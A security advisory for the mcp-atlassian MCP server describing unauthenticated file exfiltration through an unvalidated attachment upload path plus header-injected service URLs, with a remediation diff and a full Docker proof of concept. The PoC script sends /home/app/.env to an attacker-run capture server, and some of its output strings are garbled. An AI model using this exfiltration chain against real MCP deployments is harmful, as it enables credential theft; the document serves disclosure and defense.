GHSA-wv8v-v4c5-v75j: Path Traversal

Summary

The mcp-atlassian server exposes an MCP tool (confluenceuploadattachment and the Jira attachment variant) that accepts an arbitrary server-side file path and opens it for upload without any path validation. When the server is deployed in HTTP transport mode (streamable-http or sse), a remote, unauthenticated attacker can supply attacker-controlled Atlassian service headers (X-Atlassian-Confluence-Url / X-Atlassian-Confluence-Personal-Token) to redirect the upload to an attacker-controlled endpoint, then pass an arbitrary filepath (e.g. /etc/passwd, ~/.env, SSH private keys, cloud credentials) to exfiltrate any file readable by the server process. No prior account, session token, or Authorization header is required. The vulnerability was confirmed through both static code analysis (Phase 1) and a live Docker-based proof-of-concept (Phase 2).

---

Details

Data flow (source → sink)

| Step | Location | Role | |------|----------|------| | 1 | src/mcpatlassian/servers/main.py:498-504 | Middleware extracts X-Atlassian-Confluence-Url and X-Atlassian-Confluence-Personal-Token from incoming HTTP request headers. | | 2 | src/mcpatlassian/servers/main.py:584-595 | When no Authorization header is present but service headers are, useratlassianauthtype is set to "pat", effectively bypassing authentication requirements. | | 3 | src/mcpatlassian/utils/urls.py:97-104 | validateurlforssrf blocks only localhost, RFC 1918 private ranges, and a small set of metadata hostnames. An attacker-controlled public domain or an allow-listed Docker container hostname (MCPALLOWEDURLDOMAINS) passes this check. | | 4 | src/mcpatlassian/servers/dependencies.py:544-545 | The attacker-controlled URL is injected directly as url= into ConfluenceConfig, constructing a ConfluenceFetcher pointed at the attacker's server. | | 5 | src/mcpatlassian/servers/confluence.py:1358-1361 | The MCP tool argument filepath is forwarded to confluencefetcher.uploadattachment() without any sanitization. | | 6 | src/mcpatlassian/confluence/attachments.py:64-79 | The path is converted to an absolute path via os.path.abspath() and checked for existence only. validatesafepath() — already used on download paths — is never called here, leaving no directory restriction in place. | | 7 | src/mcpatlassian/confluence/attachments.py:477 | Sink: files = {"file": (filename, open(filepath, "rb"))} — the file is opened and sent as multipart to the attacker's server. | | 8 | src/mcpatlassian/jira/attachments.py:374-386 | Parallel Jira sink: same os.path.abspath() pattern, no validatesafepath, then open(filepath, "rb"). |

Key code evidence

python src/mcpatlassian/confluence/attachments.py 64: if not os.path.isabs(filepath): 65: filepath = os.path.abspath(filepath) 68: if not os.path.exists(filepath): 77: filename = os.path.basename(filepath) 477: files = {"file": (filename, open(filepath, "rb"))} # ← sink

python src/mcpatlassian/jira/attachments.py 374: if not os.path.isabs(filepath): 375: filepath = os.path.abspath(filepath) 386: with open(filepath, "rb") as file: # ← sink 387: attachment = self.jira.addattachment(

Why validatesafepath is absent: The function exists in the codebase and is correctly applied to download/read operations, but it was not applied to the upload path. This asymmetry means an attacker can read any file the server process can access, even though the intent was clearly to restrict path access.

Default configuration enables the attack: READONLYMODE defaults to false, making write tools (including attachment upload) active by default. HTTP transport is a first-class, documented production deployment mode (README, Helm chart, multi-tenant header-auth design).

Recommended remediation

diff --- a/src/mcpatlassian/confluence/attachments.py +++ b/src/mcpatlassian/confluence/attachments.py - if not os.path.isabs(filepath): - filepath = os.path.abspath(filepath) + filepath = str(validatesafepath(filepath)) filename = os.path.basename(filepath) - files = {"file": (filename, open(filepath, "rb"))} + with open(filepath, "rb") as fileobj: + files = {"file": (filename, fileobj)} + response = self.confluence.session.put( + url, headers=headers, files=files, data=data + ) - response = self.confluence.session.put( - url, headers=headers, files=files, data=data - )

--- a/src/mcpatlassian/jira/attachments.py +++ b/src/mcpatlassian/jira/attachments.py - if not os.path.isabs(filepath): - filepath = os.path.abspath(filepath) + filepath = str(validatesafepath(filepath))

Additional hardening: reject header-based service URLs before fetcher construction using validateurlforssrf with a strict allowlist, and consider defaulting READONLYMODE=true for remotely reachable deployments.

---

PoC

Prerequisites

- Docker (CLI + daemon) available on the attacker machine. - Python 3.x with httpx installed (pip install httpx). - The mcp-atlassian repository cloned locally (commit d8bc786 or compatible).

Step 1 — Build the victim image

The Dockerfile at vuln-001/Dockerfile builds the mcp-atlassian server and plants a simulated .env file at /home/app/.env containing fake secrets:

SECRETDEPLOYKEY=PoCExFiLtRaTeDs3cr3tk3yd0n0tsh4r3 DBPASSWORD=pr0duct10nd4tab4sep4ss AWSSECRETACCESSKEY=AKIAFAKEKEYFORPOCONLY

bash docker build -t mcp-atlassian-vuln001 \ -f vuln-001/Dockerfile \ /path/to/mcp-atlassian-repo

Step 2 — Run the automated PoC script

The poc.py script orchestrates the full attack:

bash python3 poc.py \ --repo /path/to/mcp-atlassian-repo \ --victim-port 18000 \ --attacker-port 18888

The script performs the following actions automatically:

1. Creates a Docker network (poc-vuln001-net). 2. Starts an attacker HTTP server container (poc-vuln001-attacker, port 18888) that mimics a Confluence REST API and records multipart upload bodies. 3. Starts the victim MCP server container (poc-vuln001-victim, port 18000) with READONLYMODE=false and MCPALLOWEDURLDOMAINS=poc-vuln001-attacker. 4. Sends the following MCP JSON-RPC sequence to http://127.0.0.1:18000/mcp:

python Step 4a — initialize (no Authorization header) headers = { "X-Atlassian-Confluence-Url": "http://poc-vuln001-attacker:8888", "X-Atlassian-Confluence-Personal-Token": "fake-pat-token-for-poc", } POST /mcp {"jsonrpc":"2.0","method":"initialize","id":1, "params":{"protocolVersion":"2024-11-05","capabilities":{}, "clientInfo":{"name":"vuln001-poc","version":"1.0"}}}

Step 4b — trigger file exfiltration POST /mcp {"jsonrpc":"2.0","method":"tools/call","id":3, "params":{"name":"confluenceuploadattachment", "arguments":{"contentid":"123", "filepath":"/home/app/.env"}}}

5. Queries http://127.0.0.1:18888/exfil and verifies that the attacker server received the file contents.

Expected result

The attacker server logs and /exfil endpoint confirm receipt of the victim file:

[attacker] EXFILTRATED FILE CONTENT START SECRETDEPLOYKEY=PoCExFiLtRaTeDs3cr3tk3yd0n0tsh4r3 DBPASSWORD=pr0duct10nd4tab4sep4ss AWSSECRETACCESSKEY=AKIAFAKEKEYFORPOCONLY [attacker] EXFILTRATED FILE CONTENT END

Phase 2 result: PASS — file exfiltration confirmed via live Docker PoC.

---

Impact

Vulnerability class: Unauthenticated server-side file exfiltration through an unvalidated path passed to an MCP attachment upload tool, combined with attacker-controlled service URL injection via HTTP request headers.

Who is impacted:

- Operators running mcp-atlassian in HTTP transport mode (streamable-http or sse) on a network-reachable endpoint with READONLYMODE=false (the default). This includes multi-tenant SaaS deployments, internal tooling servers exposed to a broader corporate network, and any cloud-hosted instance. - Users whose secrets are stored on the server filesystem are at risk of credential theft — .env files, SSH private keys, cloud provider credentials (~/.aws/credentials), kubeconfig files, TLS certificates, and any other file readable by the process.

Constraints on exploitability:

- The server must be running in HTTP transport mode (not the default stdio mode). - READONLYMODE must not be set to true. - The attacker must be able to reach the /mcp endpoint (adjacent network or internet, depending on deployment). - The SSRF domain allowlist (MCPALLOWEDURLDOMAINS) must permit the attacker's hostname, or the attacker must control a public domain that passes the IP blocklist check.

Despite these preconditions, all are met in documented production deployment configurations described in the project's own README and Helm chart.

---

Reproduction artifacts

Dockerfile

dockerfile VULN-001 PoC Victim Image Build con: mcp-atlassian repo root (use: docker build -f vuln-001/Dockerfile .) Builds the mcp-atlassian server and creates a secret file for exfiltration demonstration.

FROM ghcr.io/astral-sh/uv:python3.13-alpine AS builder

WORKDIR /app ENV UVCOMPILEBYTECODE=1 ENV UVLINKMODE=copy

Copy dependency files COPY pyproject.toml README.md uv.lock ./

Install dependencies (without the project itself to leverage caching) RUN --mount=type=cache,target=/root/.cache/uv \ uv sync --frozen --no-install-project --no-dev --no-editable

Copy source and install the project COPY src ./src RUN --mount=type=cache,target=/root/.cache/uv \ uv sync --frozen --no-dev --no-editable

Strip bytecode cache to reduce image size RUN find /app/.venv -name 'pycache' -type d -exec rm -rf {} + 2>/dev/null || true && \ find /app/.venv -name '.pyc' -delete 2>/dev/null || true

── Final Stage ────────────────────────────────────────────────────────────── FROM python:3.13-alpine

Create non-root user mirroring a typical prod deployment RUN adduser -D -h /home/app -s /bin/sh app

Plant a sensitive file that the PoC will exfiltrate RUN printf 'SECRETDEPLOYKEY=PoCExFiLtRaTeDs3cr3tk3yd0n0tsh4r3\n' > /home/app/.env && \ printf 'DBPASSWORD=pr0duct10nd4tab4sep4ss\n' >> /home/app/.env && \ printf 'AWSSECRETACCESSKEY=AKIAFAKEKEYFORPOCONLY\n' >> /home/app/.env && \ chown app:app /home/app/.env

WORKDIR /app USER app

COPY --from=builder --chown=app:app /app/.venv /app/.venv

ENV PATH="/app/.venv/bin:$PATH" ENV PYTHONUNBUFFERED=1

Default: streamable-http on 0.0.0.0:8000 (overridable at runtime) ENTRYPOINT ["mcp-atlassian"] CMD ["--transport", "streamable-http", "--port", "8000", "--host", "0.0.0.0"]

poc.py

python #!/usr/bin/env python3 """ VULN-001 PoC — MCP HTTP Client: Server-Local File Exfiltration via Unvalidated Attachment Upload Path (CWE-200, CVSS 7.4)

Attack chain: 1. Attacker sends X-Atlassian-Confluence-Url / Personal-Token headers — no Authorization header required (unauthenticated PAT path, main.py:584-595). 2. SSRF check passes because MCPALLOWEDURLDOMAINS whitelists the attacker container hostname, bypassing DNS validation (urls.py:107-111). 3. ConfluenceFetcher is constructed with the attacker-controlled URL (dependencies.py:544-545). 4. confluenceuploadattachment is called with filepath=/home/app/.env — the path is absolutized but never validated against a safe root (attachments.py:64-79). 5. The file is opened and PUT-ed as multipart to the attacker server (attachments.py:477,490).

Usage: python3 poc.py [--repo /path/to/repo] [--victim-port 18000] [--attacker-port 18888] [--no-cleanup]

Requirements on the host running this script: - docker (CLI + daemon) - python3 with httpx (pip install httpx) """

import argparse import json import os import subprocess import sys import textwrap import time

── constants ──────────────────────────────────────────────────────────────

SCRIPTDIR = os.path.dirname(os.path.abspath(file)) DEFAULTREPO = os.path.join( os.path.dirname(SCRIPTDIR), "repo" ) DOCKERFILEPATH = os.path.join(SCRIPTDIR, "Dockerfile")

NETWORKNAME = "poc-vuln001-net" VICTIMNAME = "poc-vuln001-victim" ATTACKERNAME = "poc-vuln001-attacker" VICTIMIMAGE = "mcp-atlassian-vuln001" ATTACKERIMAGE = "python:3.12-slim"

TARGETFILE = "/home/app/.env" # sensitive file planted in the victim image

── attacker server source (injected into the attacker container) ──────────

ATTACKERSERVERSRC = textwrap.dedent(r""" import http.server, json, re, sys, threading

exfil = [] # captured files

class H(http.server.BaseHTTPRequestHandler): def logmessage(self, fmt, a): print(f"[attacker-http] {fmt % a}", flush=True)

# Confluence auth probe — return a minimal valid user object def doGET(self): self.sendresponse(200) self.sendheader("Content-Type", "application/json") self.endheaders() if self.path.rstrip("/") == "/exfil": self.wfile.write(json.dumps({"files": exfil}).encode()) elif self.path.rstrip("/") == "/ready": self.wfile.write(b'{"status":"ok"}') else: self.wfile.write(json.dumps({ "key": "attacker-user", "displayName": "Attacker", "emailAddress": "attacker@evil.example", "active": True, "accountType": "atlassian" }).encode())

def doPUT(self): self.recv() def doPOST(self): self.recv()

def recv(self): cl = int(self.headers.get("Content-Length", 0)) body = self.rfile.read(cl) if cl else b"" ct = self.headers.get("Content-Type", "") print(f"[attacker] {self.command} {self.path} body={len(body)}b ct={ct}", flush=True)

filedata = b"" if "multipart" in ct and body: bm = re.search(r"boundary[=\s]+([\w\-]+)", ct) if bm: boundary = bm.group(1).encode() for part in body.split(b"--" + boundary): if b"\r\n\r\n" not in part: continue hdr, , data = part.partition(b"\r\n\r\n") if b'name="file"' in hdr or b"filename" in hdr: filedata = data.rstrip(b"\r\n--") break

if filedata: text = filedata.decode(errors="replace") print("[attacker] EXFILTRATED FILE CONTENT START ", flush=True) print(text[:4096], flush=True) print("[attacker] EXFILTRATED FILE CONTENT END ", flush=True) exfil.append({"path": self.path, "content": text[:4096], "size": len(filedata)}) else: print("[attacker] WARNING: no file data found in request", flush=True)

self.sendresponse(200) self.sendheader("Content-Type", "application/json") self.endheaders() self.wfile.write(json.dumps({ "results": [{ "id": "att-001", "type": "attachment", "title": "exfiltrated", "metadata": {"mediaType": "text/plain"}, "extensions": {"fileSize": len(filedata)} }] }).encode())

server = http.server.HTTPServer(("0.0.0.0", 8888), H) print("[attacker] listening on 0.0.0.0:8888", flush=True) sys.stdout.flush() server.serveforever() """).strip()

── helpers ────────────────────────────────────────────────────────────────

def run(cmd: str, kw): r = subprocess.run(cmd, shell=True, captureoutput=True, text=True, kw) return r.returncode, r.stdout, r.stderr

def runok(cmd: str, label: str = "") -> str: rc, out, err = run(cmd) if rc != 0: tag = f" ({label})" if label else "" print(f"[FAIL] Command{tag} exited {rc}:\n cmd: {cmd}\n stdout: {out}\n stderr: {err}", file=sys.stderr) sys.exit(1) return out

def dockerlogs(name: str) -> str: , out, err = run(f"docker logs {name} 2>&1") return out + err

def waithttp(url: str, timeout: int = 60, interval: float = 1.5) -> bool: import urllib.request deadline = time.time() + timeout while time.time() < deadline: try: with urllib.request.urlopen(url, timeout=3) as r: if r.status < 500: return True except Exception: pass time.sleep(interval) return False

def cleanup(victimname: str, attackername: str, network: str): run(f"docker rm -f {victimname} {attackername} 2>/dev/null") run(f"docker network rm {network} 2>/dev/null")

def parsesseresult(text: str) -> dict | None: """Extract the first JSON-RPC result from an SSE or plain-JSON body.""" for line in text.splitlines(): line = line.strip() if line.startswith("data:"): payload = line[5:].strip() elif line.startswith("{"): payload = line else: continue try: obj = json.loads(payload) if "result" in obj or "error" in obj: return obj except json.JSONDecodeError: continue return None

── MCP client (pure stdlib + httpx) ──────────────────────────────────────

def mcpexploit(victimurl: str, attackercontainerurl: str, targetfile: str) -> dict: """ Drive the MCP streamable-http protocol to call confluenceuploadattachment with an arbitrary filepath. Returns a dict with keys: success, sessionid, responsetext, error. """ import httpx

serviceheaders = { "X-Atlassian-Confluence-Url": attackercontainerurl, "X-Atlassian-Confluence-Personal-Token": "fake-pat-token-for-poc", } baseheaders = { serviceheaders, "Content-Type": "application/json", "Accept": "application/json, text/event-stream", }

with httpx.Client(timeout=30) as client: # ── 1. initialize ────────────────────────────────────────────── print(f"[poc] Sending initialize to {victimurl}") resp = client.post(victimurl, headers=baseheaders, json={ "jsonrpc": "2.0", "method": "initialize", "id": 1, "params": { "protocolVersion": "2024-11-05", "capabilities": {}, "clientInfo": {"name": "vuln001-poc", "version": "1.0"}, } }) if resp.statuscode not in (200, 201): return {"success": False, "error": f"initialize failed: HTTP {resp.statuscode}\n{resp.text[:400]}"}

sessionid = resp.headers.get("mcp-session-id") or resp.headers.get("Mcp-Session-Id") print(f"[poc] Session-Id: {sessionid}")

sessionheaders = {baseheaders} if sessionid: sessionheaders["Mcp-Session-Id"] = sessionid

# ── 2. notifications/initialized ────────────────────────────── client.post(victimurl, headers=sessionheaders, json={ "jsonrpc": "2.0", "method": "notifications/initialized" })

# ── 3. tools/list (optional, just for visibility) ───────────── try: tl = client.post(victimurl, headers=sessionheaders, json={ "jsonrpc": "2.0", "method": "tools/list", "id": 2, "params": {} }) toolsobj = parsesseresult(tl.text) or {} if "result" in toolsobj: names = [t["name"] for t in toolsobj["result"].get("tools", [])] print(f"[poc] Tools available: {names}") if "confluenceuploadattachment" not in names: print("[poc] WARNING: confluenceuploadattachment not in tools/list " "(will still attempt tools/call)") except Exception as e: print(f"[poc] tools/list skipped: {e}")

# ── 4. tools/call ───────────────────────────────────────────── print(f"[poc] Calling confluenceuploadattachment filepath={targetfile}") resp2 = client.post(victimurl, headers=sessionheaders, json={ "jsonrpc": "2.0", "method": "tools/call", "id": 3, "params": { "name": "confluenceuploadattachment", "arguments": { "contentid": "123", "filepath": targetfile, } } }, timeout=30)

return { "success": True, "sessionid": sessionid, "statuscode": resp2.statuscode, "responsetext": resp2.text[:2000], "error": None, }

── main ──────────────────────────────────────────────────────────────────

def main(): ap = argparse.ArgumentParser(description="VULN-001 PoC runner") ap.addargument("--repo", default=DEFAULTREPO) ap.addargument("--victim-port", type=int, default=18000) ap.addargument("--attacker-port", type=int, default=18888) ap.addargument("--no-cleanup", action="storetrue") args = ap.parseargs()

repopath = os.path.abspath(args.repo) victimport = args.victimport attackerport = args.attackerport

print("=" 60) print("VULN-001 PoC — MCP File Exfiltration via Attachment Upload") print("=" 60) print(f"Repo: {repopath}") print(f"Dockerfile: {DOCKERFILEPATH}") print(f"Victim port: {victimport}") print(f"Attacker port: {attackerport}") print()

# ── 0. pre-flight ───────────────────────────────────────────────── cleanup(VICTIMNAME, ATTACKERNAME, NETWORKNAME)

# ── 1. build victim image ───────────────────────────────────────── print("[] Building victim image (this may take a few minutes)...") rc, out, err = run( f"docker build --no-cache -t {VICTIMIMAGE} " f"-f {DOCKERFILEPATH} {repopath}" ) if rc != 0: print(f"[FAIL] docker build failed:\n{err[-3000:]}", file=sys.stderr) sys.exit(1) print(f"[+] Victim image built: {VICTIMIMAGE}")

# ── 2. create network ───────────────────────────────────────────── print("[] Creating Docker network...") runok(f"docker network create {NETWORKNAME}", "network create") print(f"[+] Network created: {NETWORKNAME}")

try: # ── 3. start attacker container ──────────────────────────────── print("[] Starting attacker HTTP server...") attackercodeescaped = ATTACKERSERVERSRC.replace("'", "'\"'\"'") runok( f"docker run -d " f"--network {NETWORKNAME} " f"--name {ATTACKERNAME} " f"-p {attackerport}:8888 " f"{ATTACKERIMAGE} " f"python3 -c '{attackercodeescaped}'", "start attacker" )

if not waithttp(f"http://127.0.0.1:{attackerport}/ready", timeout=30): print("[FAIL] Attacker server did not start in time") print(dockerlogs(ATTACKERNAME)) sys.exit(1) print(f"[+] Attacker server ready on port {attackerport}")

# ── 4. start victim container ────────────────────────────────── print("[] Starting victim MCP server...") runok( f"docker run -d " f"--network {NETWORKNAME} " f"--name {VICTIMNAME} " f"-p {victimport}:8000 " f"-e TRANSPORT=streamable-http " f"-e MCPALLOWEDURLDOMAINS={ATTACKERNAME} " f"-e READONLYMODE=false " f"-e MCPLOGGINGSTDOUT=true " f"-e MCPVERBOSE=true " f"{VICTIMIMAGE} " f"--transport streamable-http --port 8000 --host 0.0.0.0", "start victim" )

print("[] Waiting for victim MCP server to be ready...") if not waithttp(f"http://127.0.0.1:{victimport}/healthz", timeout=60): print("[FAIL] Victim server did not start in time") print(dockerlogs(VICTIMNAME)) sys.exit(1) print(f"[+] Victim MCP server ready on port {victimport}")

# ── 5. run the exploit ───────────────────────────────────────── print() print("[] Launching MCP exploit...") victimmcpurl = f"http://127.0.0.1:{victimport}/mcp" attackercontainerurl = f"http://{ATTACKERNAME}:8888"

result = mcpexploit(victimmcpurl, attackercontainerurl, TARGETFILE)

if not result["success"]: print(f"[FAIL] MCP exploit error: {result['error']}") print("Victim logs:\n", dockerlogs(VICTIMNAME)[-2000:]) sys.exit(1)

print(f"[poc] tools/call HTTP {result['statuscode']}") print(f"[poc] Response:\n{result['responsetext']}")

# ── 6. verify exfiltration ───────────────────────────────────── time.sleep(2)

import urllib.request with urllib.request.urlopen( f"http://127.0.0.1:{attackerport}/exfil", timeout=5 ) as r: exfildata = json.loads(r.read())

attackerrawlogs = dockerlogs(ATTACKERNAME) print() print("Attacker server logs:") print(attackerrawlogs[-4000:])

files = exfildata.get("files", []) confirmed = bool(files) or ( "EXFILTRATED FILE CONTENT" in attackerrawlogs and "SECRETDEPLOYKEY" in attackerrawlogs )

evidencesnippet = "" if files: evidencesnippet = files[0].get("content", "")[:500] elif "EXFILTRATED FILE CONTENT START" in attackerrawlogs: start = attackerrawlogs.find("EXFILTRATED FILE CONTENT START") + len("EXFILTRATED FILE CONTENT START") + 4 end = attackerrawlogs.find("EXFILTRATED FILE CONTENT END", start) evidencesnippet = attackerrawlogs[start:end].strip()[:500]

print() if confirmed: print("[PASS] file leak confirmed — attacker servertext victim containertext sensitive filetext receivedtext.") print(f"[PASS] Evidence snippet:\n{evidencesnippet}") else: print("[FAIL] file leak evidencetext checktext text.") print("attackerlogs:", attackerrawlogs[-1000:])

# ── 7. write phase2result.json ──────────────────────────────── phase2 = { "passed": confirmed, "verdict": "PASS" if confirmed else "FAIL", "reason": ( "MCP HTTP clienttext X-Atlassian-Confluence-Url / Personal-Token headeronlyas " "without authentication ConfluenceFetchertext createtext, confluenceuploadattachment tooltext " "filepath=/home/app/.envtext path verification text open() and attacker servertext senddone. " "attachments.py:477 open(filepath,'rb')text sensitive filetext text multipart PUT requesttext containsdone." if confirmed else "attacker servertext file receivedtext checktext could not — logtext referenceand failure cause text required." ), "buildcommand": ( f"docker build -t {VICTIMIMAGE} " f"-f {DOCKERFILEPATH} {repopath}" ), "runcommand": ( f"docker network create {NETWORKNAME} && " f"docker run -d --network {NETWORKNAME} --name {ATTACKERNAME} " f"-p {attackerport}:8888 {ATTACKERIMAGE} python3 -c '<attackerserversrc>' && " f"docker run -d --network {NETWORKNAME} --name {VICTIMNAME} " f"-p {victimport}:8000 " f"-e TRANSPORT=streamable-http " f"-e MCPALLOWEDURLDOMAINS={ATTACKERNAME} " f"-e READONLYMODE=false " f"{VICTIMIMAGE} --transport streamable-http --port 8000 --host 0.0.0.0" ), "poccommand": ( f"python3 {os.path.basename(file)} " f"--repo {repopath} " f"--victim-port {victimport} " f"--attacker-port {attackerport}" ), "evidence": evidencesnippet or attackerrawlogs[-500:], "artifacts": ["Dockerfile", "poc.py"], }

resultpath = os.path.join(SCRIPTDIR, "phase2result.json") with open(resultpath, "w") as f: json.dump(phase2, f, indent=2, ensureascii=False) print(f"\n[] phase2result.json written: {resultpath}")

finally: if not args.nocleanup: print("[] Cleaning up containers and network...") cleanup(VICTIMNAME, ATTACKERNAME, NETWORKNAME) print("[] Cleanup done.") else: print(f"[] --no-cleanup: containers left running ({VICTIMNAME}, {ATTACKERNAME})")

if name == "main": main()